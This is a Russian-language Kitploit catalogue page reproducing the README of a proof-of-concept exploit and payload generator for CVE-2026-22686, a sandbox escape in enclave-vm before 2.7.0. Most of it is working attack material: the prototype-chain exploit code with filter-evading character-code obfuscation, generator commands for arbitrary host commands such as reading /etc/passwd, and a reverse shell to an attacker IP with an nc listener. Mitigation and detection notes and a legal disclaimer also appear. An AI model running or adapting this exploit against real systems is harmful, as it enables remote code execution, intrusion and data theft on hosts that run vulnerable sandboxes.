Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Эксплойт proof-of-concept и генератор полезной нагрузки для CVE-2026-22686 — побег из песочницы в enclave-vm <2.7.0, позволяющий выполнение произвольного кода и обратные оболочки. | Kitploit
Инструменты/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Эксплойт proof-of-concept и генератор полезной нагрузки для CVE-2026-22686 — побег из песочницы в enclave-vm <2.7.0, позволяющий выполнение произвольного кода и обратные оболочки.

Репозиторий
3 ч 43 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22686 — PoC побега из песочницы enclave-vm

CVE CVSS enclave-vm Python License

Доказательство концепции (PoC) эксплойта и генератор полезной нагрузки для CVE-2026-22686 — критической уязвимости побега из песочницы в enclave-vm версий до 2.7.0, позволяющей выполнить произвольный код в хост-среде Node.js.

⚠️ Отказ от ответственности: Этот инструмент предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Использование против систем без предварительного письменного согласия незаконно. Автор не несёт ответственности за любое неправомерное использование.


📖 Содержание

  • Обзор
  • Детали уязвимости
  • Как это работает
  • Установка
  • Использование
  • Анатомия полезной нагрузки
  • Меры защиты
  • Правовая информация
  • Ссылки
  • Автор
  • Лицензия

  • 🔍 Обзор

    enclave-vm — это библиотека песочницы JavaScript, предназначенная для безопасного выполнения недоверенного кода в контролируемой среде. В версиях < 2.7.0 ошибка в механизме предоставления хост-объектов ошибок песочнице позволяет злоумышленнику пройти по цепочке прототипов и добраться до хост-конструктора Function, тем самым выйдя из песочницы.

    Этот репозиторий содержит:

    • Генератор полезной нагрузки, создающий готовый к вставке JavaScript-код
    • Поддержку выполнения произвольных команд на хосте
    • Поддержку полезных нагрузок обратной оболочки (reverse shell)
    • Двуязычный интерактивный CLI (французский / английский)

    🛡️ Детали уязвимости

    ПолеЗначение
    CVE IDCVE-2026-22686
    CVSS v3.110.0 (Критический)
    CWECWE-693 — Отказ механизма защиты
    Компонентenclave-vm
    Уязвимы< 2.7.0
    Исправлено в2.7.0
    ВоздействиеПобег из песочницы → выполнение произвольного кода (RCE)

    Первопричина

    Когда вызов инструмента в песочнице завершается ошибкой, enclave-vm предоставляет хост-объект Error обратно в код песочницы. Поскольку этот объект ошибки сохраняет исходную цепочку прототипов из хост-среды, злоумышленник может пройти по цепочке следующим образом:

    root@kitploit:~
    Экземпляр Error
       └── Error.prototype
            └── Конструктор Error
                 └── Конструктор Function  ← хост-функция Function!
    

    Получив хост-конструктор Function, злоумышленник может скомпилировать и выполнить произвольный JavaScript в хост-среде — полностью обойдя песочницу.


    ⚙️ Как это работает

    Эксплойт состоит из следующих шагов:

    1. Вызвать ошибку на стороне хоста, обратившись к несуществующему инструменту (callTool('NONEXISTENT', {})).
    2. Получить объект ошибки из песочницы (он сохраняет ссылку на хост-цепочку прототипов).
    3. Пройти по цепочке прототипов, чтобы добраться до Error.prototype.constructor.constructor — хост-функции Function.
    4. Скомпилировать полезную нагрузку злоумышленника с помощью хост-функции Function и выполнить её.
    5. Полезная нагрузка загружает child_process и выполняет произвольную команду оболочки (или запускает обратную оболочку).

    Все чувствительные ключевые слова (constructor, __proto__, __lookupGetter__, prototype) обфусцированы в виде ASCII-кодов символов, чтобы обойти простые статические фильтры.


    📦 Установка

    Внешних зависимостей нет — используется только стандартная библиотека Python.

    root@kitploit:~
    git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
    cd CVE-2026-22686-PoC
    chmod +x generator.py
    

    Требования:

    • Python 3.8+

    🚀 Использование

    Интерактивный режим

    root@kitploit:~
    python3 generator.py
    

    Вас попросят:

    1. Выбрать язык (французский / английский)
    2. Выбрать тип полезной нагрузки (команда или обратная оболочка)
    3. Указать команду / IP / порт

    Затем скопируйте сгенерированную полезную нагрузку и вставьте её во входные данные уязвимой песочницы.

    Выполнение команд

    root@kitploit:~
    python3 generator.py -c "id"
    python3 generator.py -c "cat /etc/passwd"
    python3 generator.py -c "ls -la /home"
    

    Обратная оболочка

    Терминал 1 (атакующий — слушатель):

    root@kitploit:~
    nc -lvnp 4444
    

    Терминал 2 (генератор):

    root@kitploit:~
    python3 generator.py --revshell 10.10.15.152 4444
    

    Скопируйте полученную полезную нагрузку и вставьте её в песочницу. Вы должны получить оболочку в Терминале 1.

    Вывод необработанной полезной нагрузки

    root@kitploit:~
    python3 generator.py -c "id" --raw > payload.js
    python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
    

    Опции CLI

    ФлагОписание
    -c, --commandКоманда оболочки для выполнения
    --revshell LHOST LPORTСгенерировать полезную нагрузку обратной оболочки
    --rawВывести только полезную нагрузку (без баннера и оформления)
    --lang {fr,en}Принудительно задать язык интерфейса
    -h, --helpПоказать справку и примеры

    🔬 Анатомия полезной нагрузки

    1. ASCII-декодер

    root@kitploit:~
    const s = (...args) => String.fromCharCode(...args);
    

    Небольшой вспомогательный метод для декодирования массивов ASCII-кодов во время выполнения.

    2. Обфусцированные ключевые слова

    root@kitploit:~
    const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
    const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
    const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
    const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"
    

    Позволяет обойти тривиальные строковые фильтры.

    3. Цепочка эксплойта

    root@kitploit:~
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);
    
    let hostError;
    try {
        await callTool('NONEXISTENT', {});
    } catch (e) {
        hostError = e;
    }
    
    const errProto = getProtoNative.call(hostError);
    const HostFunc = errProto[kCon][kCon];   // Хост-конструктор Function
    const result = HostFunc(payload)();      // Выполнение произвольного кода
    

    Затем хост-функция Function используется для выполнения команды злоумышленника через child_process.execSync().


    🛡️ Меры защиты

    Для разработчиков:

    • Обновите enclave-vm до >= 2.7.0.
    • Регулярно проверяйте дерево зависимостей (npm audit, Snyk, Dependabot).
    • Никогда не предоставляйте функции выполнения в песочнице недоверенным входным данным без дополнительной проверки.
    • Запускайте код песочницы в изолированных процессах (например, isolated-vm, gVisor, Firecracker).

    Для пользователей / организаций:

    • Следите за устаревшими библиотеками песочниц в продакшене.
    • Ограничьте исходящий сетевой доступ для любого процесса, выполняющего пользовательский код.
    • Применяйте принцип наименьших привилегий: запускайте процессы Node.js не от имени root.

    Обнаружение:

    Ищите HTTP-запросы или отправляемый код, содержащие callTool('NONEXISTENT', __lookupGetter__, длинные массивы целочисленных литералов, разделённых запятыми, или child_process / execSync.


    ⚖️ Правовая информация

    Этот проект опубликован строго в образовательных целях и для защитных исследований безопасности. Он предназначен для исследователей безопасности, авторизованных пентестеров и игроков CTF.

    Не используйте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций (CFAA в США, Computer Misuse Act в Великобритании, статья 323-1 во Франции) и может повлечь серьёзные уголовные наказания.

    Используя это программное обеспечение, вы соглашаетесь с тем, что автор не несёт ответственности за любой ущерб или юридические последствия, возникшие в результате его использования.


    📚 Ссылки

    • enclave-vm на npm
    • Оригинальный PoC от @amusedx
    • CWE-693: Отказ механизма защиты
    • Документация Node.js child_process
    • OWASP: Лучшие практики песочниц

    👤 Автор

    • GitHub: @moi_404

    📄 Лицензия

    Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.


    🙏 Благодарности

    • @amusedx за оригинальное исследование уязвимости и PoC
    • Сопровождающим enclave-vm за ответственное раскрытие и исправление
    • Сообществу безопасности за продолжающиеся исследования побегов из песочниц JavaScript

    ⭐ Участие в разработке

    Pull-запросы приветствуются. Для крупных изменений сначала откройте issue.

    Предлагаемые улучшения:

    • Дополнительные кодировки (base64, hex, rot13) для обхода WAF
    • Автоопределение уязвимых конечных точек
    • Поддержка других библиотек песочниц (vm2, isolated-vm)
    • Модульные тесты и интеграция с CI
    Скачать инструмент